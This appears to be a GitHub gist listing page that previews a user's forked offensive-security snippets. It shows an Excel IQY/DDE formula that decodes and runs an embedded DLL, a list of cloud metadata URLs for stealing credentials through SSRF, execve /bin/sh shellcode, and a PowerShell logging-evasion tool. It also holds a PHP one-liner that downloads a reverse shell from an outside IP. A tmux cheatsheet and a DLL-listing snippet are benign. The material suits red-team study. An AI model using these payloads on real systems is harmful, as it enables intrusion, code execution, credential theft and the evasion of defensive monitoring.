0x4243 / clr_via_native.c

Created July 26, 2018 21:51 — forked from xpn/clr_via_native.c

A quick example showing loading CLR via native code

	#include "stdafx.h"

	int main()
	{
	ICLRMetaHost *metaHost = NULL;
	IEnumUnknown *runtime = NULL;
	ICLRRuntimeInfo *runtimeInfo = NULL;
	ICLRRuntimeHost *runtimeHost = NULL;
	IUnknown *enumRuntime = NULL;
	LPWSTR frameworkName = NULL;

0x4243 / remote.iqy

Created September 8, 2018 10:26 — forked from Mr-Un1k0d3r/remote.iqy

IQY File Remote Payload POC

=cmd|' /c more +12 %userprofile%\Downloads\poc.iqy > %temp%\poc.hex && certutil -decodehex %temp%\poc.hex %temp%\poc.dll && C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U %temp%\poc.dll'!'A1'

0x4243 / poc.iqy

Created September 8, 2018 10:29 — forked from Mr-Un1k0d3r/poc.iqy

IQY File + Embedded DLL POC

	WEB
	1
	https://ringzer0team.com/IQY

	Selection=EntirePage
	Formatting=RTF
	PreFormattedTextToColumns=True
	ConsecutiveDelimitersAsOne=True
	SingleBlockTextImport=False
	DisableDateRecognition=False

0x4243 / cloud_metadata.txt

Created September 13, 2018 16:03 — forked from BuffaloWill/cloud_metadata.txt

Cloud Metadata Dictionary useful for SSRF Testing

	## AWS
	# Amazon Web Services (No Header Required)
	# from http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
	http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
	http://169.254.169.254/latest/user-data
	http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
	http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
	http://169.254.169.254/latest/meta-data/ami-id
	http://169.254.169.254/latest/meta-data/reservation-id
	http://169.254.169.254/latest/meta-data/hostname

0x4243 / tmux-cheatsheet.markdown

Created September 21, 2018 11:36 — forked from MohamedAlaa/tmux-cheatsheet.markdown

tmux shortcuts & cheatsheet

start new:

tmux

start new with session name:

tmux new -s myname

0x4243 / execve.c

Created September 24, 2018 10:42 — forked from resilar/execve.c

Linux x86(-64) - execve("/bin/sh", ["/bin/sh", 0], 0) shellcode (38 bytes)

	/*
	* Linux x86(-64) - execve("/bin/sh", ["/bin/sh", 0], 0) shellcode (38 bytes)
	* 31c050488b1424eb105478065e5fb03b0f05595b40b00bcd80e8ebffffff2f62696e2f736800
	*
	* - offset - bytes 32-bit code 64-bit code
	* 0x00000000 31c0 xor eax, eax xor eax, eax
	* 0x00000002 50 push eax push rax
	* 0x00000003 48 dec eax rex.w
	* 0x00000004 8b1424 mov edx, dword [esp] mov rdx, qword [rsp]
	* 0x00000007 eb10 jmp 0x19 jmp 0x19

0x4243 / posh.cs

Created September 24, 2018 10:46 — forked from benpturner/posh.cs

No Powershell with Transcript Logging Evasion & ScriptBlock Logging Evasion - eventid 4103,4104,4106

	using System;
	using System.Collections.ObjectModel;
	using System.Management.Automation;
	using System.Management.Automation.Security;
	using System.Management.Automation.Runspaces;
	using System.Reflection;

	namespace TranscriptBypass
	{
	// Compiling with CSC.exe v4.0.30319 or v3.5

0x4243 / shell.php

Created September 24, 2018 10:52 — forked from jimmy-ly00/shell.php

One liner actual PHP code reverse shell

	If you have access to executing php (and maybe LFI to visit the .php) e.g. phpLiteAdmin, but it only accepts one line so you cannot use the pentestmonkey php-reverse-shell.php

	1. Use http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet in place of the one liner
	<?php echo shell_exec("[INSERT ONE LINER");?>

	2. Guess programs on machine and use LFI to visit file
	<?php echo shell_exec("/usr/local/bin/wget http://10.11.0.46:8000/php-reverse-shell.php -O /var/tmp/shell.php 2>&1");?>

0x4243 / PowerView-3.0-tricks.ps1

Created September 24, 2018 10:53 — forked from HarmJ0y/PowerView-3.0-tricks.ps1

PowerView-3.0 tips and tricks

	# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
	# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

	# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
	# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

	# New function naming schema:
	# Verbs:
	# Get : retrieve full raw data sets
	# Find : ‘find’ specific data entries in a data set

0x4243 / Program.cs

Created September 28, 2018 07:39 — forked from malcomvetter/Program.cs

View all DLLs loaded into a process

	using System;
	using System.Diagnostics;

	class Program
	{
	static void Main(string[] args)
	{
	var proc = Process.GetCurrentProcess();
	foreach (ProcessModule module in proc.Modules)
	{